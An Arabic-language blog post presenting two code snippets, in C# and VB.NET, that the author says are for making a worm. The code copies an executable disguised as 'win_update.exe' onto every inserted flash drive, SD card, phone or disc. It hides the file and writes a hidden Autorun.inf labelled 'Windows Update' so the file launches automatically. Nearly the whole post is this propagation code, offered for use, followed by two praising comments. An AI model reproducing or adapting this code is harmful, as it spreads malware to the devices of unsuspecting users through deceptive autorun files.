Share

Mass Storage Spread {Flash Sticks - SD Cards - Mobile Phones - CDs & DVD} {.NET}

السلام عليكم


إزى الحال يا رجاله


ان شاء الله بخير


معايا النهارده كودين على السريع يساعدوك لو بتعمل دوده او حاجه


بينتشرو فى اى حاجه تبع ال


mass storage


فلاشات او موبايلات او سى دى او دى فى دى


كله شغال


ههههههههههههههههه


الكود الاول مكتوب بالسى شارب





//Event Driven Mass Storage Spread:
//--Flash Sticks.
//--SD Cards.
//--Mobile Phones {Cell Phones}.
//--CDs & DVDs
// Written by Vorfin
// Vorfin@GoogleMail.Com
// Edit File Path -> Add To Main Class


string FileToSpread = Path.GetTempPath + "win_update.exe";
private const int WM_DEVICECHANGE = 0x219;

private const int DBT_DEVICEARRIVAL = 32768;
public struct DEV_BROADCAST_HDR
{
public Int32 dbch_size;
public Int32 dbch_devicetype;
public Int32 dbch_reserved;
}

private struct DEV_BROADCAST_VOLUME
{
public Int32 dbcv_size;
public Int32 dbcv_devicetype;
public Int32 dbcv_reserved;
public Int32 dbcv_unitmask;
public Int16 dbcv_flags;
}


public string ARText = "[autorun]" + Constants.vbNewLine + "open=win_update.exe" + Constants.vbNewLine + "label=Windows Update";
protected override void WndProc(ref System.Windows.Forms.Message m)
{
if (m.Msg == WM_DEVICECHANGE) {
if (m.WParam == DBT_DEVICEARRIVAL) {
DEV_BROADCAST_VOLUME Volume = default(DEV_BROADCAST_VOLUME);
Volume = (DEV_BROADCAST_VOLUME)Marshal.PtrToStructure(m.LParam, typeof(DEV_BROADCAST_VOLUME));
string DriveLetter = (GetDriveLetterFromMask(ref Volume.dbcv_unitmask) + ":\\");
CopyToUSB(ref FileToSpread, ref DriveLetter);
}
}
base.WndProc(m);
}

private char GetDriveLetterFromMask(ref Int32 Unit)
{
for (int i = 0; i <= 25; i++) {
if (Unit == (Math.Pow(2, i))) {
return Strings.Chr(Strings.Asc("A") + i);
}
}
}

private void CopyToUSB(ref string File, ref string USBLetter)
{
try {
if (System.IO.File.Exists(USBLetter + "win_update.exe") == true) {
} else {
IO.File.Copy(File, USBLetter + "win_update.exe");
IO.File.SetAttributes(USBLetter + "win_update.exe", IO.FileAttributes.Hidden);

System.IO.StreamWriter objWriter = new System.IO.StreamWriter(USBLetter + "Autorun.inf");
objWriter.Write(ARText);
objWriter.Close();
IO.File.SetAttributes(USBLetter + "Autorun.inf", IO.FileAttributes.Hidden);
}
} catch (Exception es) {
}
}


والكود التانى فى بى دوت نت




''''Flash Sticks.
''''SD Cards.
''''Mobile Phones {Cell Phones}.
''''CDs & DVDs
' Written by Vorfin
' Vorfin@GoogleMail.Com
' Edit File Path -> Add To Main Class

Dim FileToSpread As String = Path.GetTempPath & "win_update.exe"

Private Const WM_DEVICECHANGE As Integer = &H219
Private Const DBT_DEVICEARRIVAL As Integer = 32768

Public Structure DEV_BROADCAST_HDR
Public dbch_size As Int32
Public dbch_devicetype As Int32
Public dbch_reserved As Int32
End Structure

Private Structure DEV_BROADCAST_VOLUME
Public dbcv_size As Int32
Public dbcv_devicetype As Int32
Public dbcv_reserved As Int32
Public dbcv_unitmask As Int32
Public dbcv_flags As Int16
End Structure

Public ARText As String = "[autorun]" & vbNewLine & "open=win_update.exe" & vbNewLine & "label=Windows Update"

Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
If m.Msg = WM_DEVICECHANGE Then
If m.WParam = DBT_DEVICEARRIVAL Then
Dim Volume As DEV_BROADCAST_VOLUME
Volume = DirectCast(Marshal.PtrToStructure(m.LParam, GetType(DEV_BROADCAST_VOLUME)), DEV_BROADCAST_VOLUME)
Dim DriveLetter As String = (GetDriveLetterFromMask(Volume.dbcv_unitmask) & ":\")
CopyToUSB(FileToSpread, DriveLetter)
End If
End If
MyBase.WndProc(m)
End Sub

Private Function GetDriveLetterFromMask(ByRef Unit As Int32) As Char
For i As Integer = 0 To 25
If Unit = (2 ^ i) Then
Return Chr(Asc("A") + i)
End If
Next
End Function

Private Sub CopyToUSB(ByRef File As String, ByRef USBLetter As String)
Try
If System.IO.File.Exists(USBLetter & "win_update.exe") = True Then : Else
IO.File.Copy(File, USBLetter & "win_update.exe")
IO.File.SetAttributes(USBLetter & "win_update.exe", IO.FileAttributes.Hidden)

Dim objWriter As New System.IO.StreamWriter(USBLetter & "Autorun.inf")
objWriter.Write(ARText)
objWriter.Close()
IO.File.SetAttributes(USBLetter & "Autorun.inf", IO.FileAttributes.Hidden)
End If
Catch es As Exception : End Try
End Sub

بس خلاص :p


./faris

2 comments:

Mr.DH said...

http://store3.up-00.com/May11/AUl65454.png

كالعآده مبدع .. ودا اللنك ديزآين بسيط لك (f)

Mr.DH || ~

Faris said...

بنر ولا أروع يا برنس
تسلم ايدك والله :)
ونورت المدونه يا حج

Post a Comment